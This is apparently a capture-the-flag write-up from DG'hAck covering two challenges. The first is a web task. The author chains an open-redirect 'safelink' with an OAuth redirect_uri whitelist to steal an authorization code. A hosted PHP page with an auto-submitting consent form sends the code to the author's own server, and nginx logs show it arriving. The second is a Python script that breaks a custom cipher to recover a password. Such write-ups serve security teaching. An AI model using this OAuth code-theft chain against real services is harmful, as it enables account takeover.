DG'hAck: Jobboard and Involucrypt2
Jobboard
Another web challenge. A job posting board.
The website is protected by some oauth login. We can’t register on it, but we have a demo account.
To start, I traced down the authentification challenge:
POST http://jobboard2.chall.malicecyber.com/oauth/authorize?client_id=svvhKlyEA7qODbl16JTUPQNz&response_type=code&redirect_uri=http%3A%2F%2Fjobboard2.chall.malicecyber.com%2Fconnect%2Fauth%2Fcallback&scope=profile
302 http://jobboard2.chall.malicecyber.com/connect/auth/callback?code=2xRYtOHEKBMVqpjYhzMwmWmCV0BiCgYcSgZq9nzYwCtm8ZAg
GET http://jobboard2.chall.malicecyber.com/connect/auth/callback?code=2xRYtOHEKBMVqpjYhzMwmWmCV0BiCgYcSgZq9nzYwCtm8ZAg
302 /login?access_token=xKAWeUQNnoirx2MjnBVKvZE5sl5Uizyi89hdeqeNZ9&raw%5Baccess_token%5D=xKAWeUQNnoirx2MjnBVKvZE5sl5Uizyi89hdeqeNZ9&raw%5Bexpires_in%5D=864000&raw%5Bscope%5D=profile&raw%5Btoken_type%5D=Bearer
GET http://jobboard2.chall.malicecyber.com/login?access_token=xKAWeUQNnoirx2MjnBVKvZE5sl5Uizyi89hdeqeNZ9&raw%5Baccess_token%5D=xKAWeUQNnoirx2MjnBVKvZE5sl5Uizyi89hdeqeNZ9&raw%5Bexpires_in%5D=864000&raw%5Bscope%5D=profile&raw%5Btoken_type%5D=Bearer
302 ../../
GET http://jobboard2.chall.malicecyber.com/
302 /browse
GET /browse
200
There is a contact form. Like previous challenges, sending an URL in it will call it in the target’s browser.
The goal here is to retrieve a valid oauth code. The problem is that to do that, you’ll need to change the redirect_uri
, but that field is only accepting whitelisted urls:
http://jobboard2.chall.malicecyber.com/oauth/authorize?client_id=svvhKlyEA7qODbl16JTUPQNz&response_type=code&redirect_uri=http://blah.com
renvoie "invalid_request: Invalid "redirect_uri" in request."
However, in the app, we see that there is a feature to redirect to other sites: http://jobboard2.chall.malicecyber.com/safelink/http%3A%2F%2Fexample.com%2F
. It is possible to get a valid jobboard2.chall.malicecyber.com
link redirecting to a 3rd party website. We’ll make use of it to retrieve our code. The final phase is to force user to accept the login automaticaly in the oauth process, and we’ll make use of a auto-post form to this:
<?php
$fd = fopen('dump.txt', 'a+');
$d = date(DATE_ATOM);
fwrite($fd, "========== " . $d . " ========\n");
fwrite($fd, json_encode(getallheaders()));
fwrite($fd, "\n==========\n\n");
fclose($fd);
$tartarget_url = urlencode("http://syndevio.com/php/dest.php");
$target_url = urlencode("http://jobboard2.chall.malicecyber.com/safelink/" . $tartarget_url);
$final_url = "http://jobboard2.chall.malicecyber.com/oauth/authorize?client_id=svvhKlyEA7qODbl16JTUPQNz&response_type=code&scope=profile&redirect_uri=" . $target_url;
$realfinal_url = "https://jobboard2.chall.malicecyber.com/safelink/" . urlencode($final_url);
// url for this page: http://syndevio.com/php/index.php
// => get code in logs
// => use code in next url:
// http://jobboard2.chall.malicecyber.com/connect/auth/callback?code=zpxFUTs3YEsXLYOyWhMrgEj4jFl1XUzHgwbJ8aMFfv6N5Wsb
// win!
$redirect = true;
$redirect = true;
?><html>
<head>
<script type="text/javascript">
function eventFire(el, etype){
if (el.fireEvent) {
el.fireEvent('on' + etype);
} else {
var evObj = document.createEvent('Events');
evObj.initEvent(etype, true, false);
el.dispatchEvent(evObj);
}
}
window.onload = (event) => {
console.log('hllo');
setTimeout(function() {
var el = document.getElementById('thisone');
console.log(el);
el.submit();
}, 1000);
}
</script>
</head>
<body>
<form method="POST" id="thisone" action="<?php echo $final_url; ?>">
<input type="hidden" name="confirm" value="Accept">
<button type="submit" name="confirm" value="Accept">x</button>
</form>
</body>
</html>
<!--
<?php
var_dump($target_url);
var_dump($final_url);
?>
We send the url to this php script to the target. It will be launched in its browser, and we can check on our webserver logs it worked:
==> /var/log/nginx/blah.com_access.log <==
46.30.202.223 - - [25/Nov/2020:13:55:42 +0100] "GET /php/dest.php?code=CZlXBcLdNf11hnJgCpi7r22Y27kfgTEH4EOQBIo2qzyfbGIa HTTP/1.1" 404 242 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.130 Safari/537.36"
We have a valid registration code. We just need to use it on the jobboard: http://jobboard2.chall.malicecyber.com/connect/auth/callback?code=CZlXBcLdNf11hnJgCpi7r22Y27kfgTEH4EOQBIo2qzyfbGIa
and that’s it. The flag is DontRollYourOwn
.
Involucrypt 2
This cryptography challenge is the follow-up of the first one. But, even if the algo is the exact same, this one has a 1497 long character file to read. Brute forcing is no longer possible as we’re facing a 10 character long password.
However, I found out as the algorithm was like: Take a char from the password, create a random engine, crypt the block character & randomly sort all characters in the process, that we could reverse the algorithm, starting from the last block, following the random shift to understand where the characters from the last block crypted were, then xor them with the key generated from all existing printable characters, and found out which character of the password would generate a key decrypting only printable characters.
The process worked quite well, and I was able to rebuild the password. The modified crypt.py was then like:
# Some global values required on the process
keep = False
fields = []
done = 0
... snip ...
# Patching the shuffle function to know where the moved characters are
def shuffle(self, my_list):
global keep, fields
z = len(my_list) - 1
if keep:
fields.append(z)
for i in range(len(my_list) - 1, 0, -1):
was_i = False
was_j = False
j = self.get_rand_int(0, i + 1)
my_list[i], my_list[j] = my_list[j], my_list[i]
if keep and i in fields:
fields.remove(i)
was_i = True
if keep and j in fields:
fields.remove(j)
was_j = True
if was_i:
fields.append(j)
if was_j:
fields.append(i)
... snip ...
# New keystream: Basically the same, but we marked keep = True only for the iteration we're in.
def keystream(seeds, length, base=None):
# Thats a new key: we clean up stuff we want to keep.
global fields, keep, prefix
keep = False
fields = []
done = 0
key = base if base else []
for seed in seeds:
if done >= len(prefix):
keep = True
done = done + 1
random = mersenne_rng(seed)
for _ in range(BLOCK):
if len(key) == length:
break
key.append(random.get_rand_int(0, 255))
random.shuffle(key)
if len(key) == length:
break
return key
... snip ...
prefix = ''
suffix = ''
# The function to search for the password.
while len(suffix) < 10:
for c in string.printable:
prefix = 'A' * (10 - len(c+suffix))
new_key = prefix + c + suffix
out = list(encrypt(contents, new_key))
possible = True
for f in fields:
if chr(out[f]) not in string.printable:
possible = False
break
if not possible:
break
if possible:
suffix = c + suffix
print('possible:', new_key, 'new suffix:', suffix)
break
Running it:
$ pypy3 crypt.py
possible: AAAAAAAAAi new suffix: i
possible: AAAAAAAAoi new suffix: oi
possible: AAAAAAAtoi new suffix: toi
possible: AAAAAAptoi new suffix: ptoi
possible: AAAAAsptoi new suffix: sptoi
possible: AAAAisptoi new suffix: isptoi
possible: AAAfisptoi new suffix: fisptoi
possible: AAjfisptoi new suffix: jfisptoi
possible: Ajjfisptoi new suffix: jjfisptoi
possible: ajjfisptoi new suffix: ajjfisptoi
The password resulting to this was ajjfisptoi
, and the flag extracted from the crypted file supahotfire
.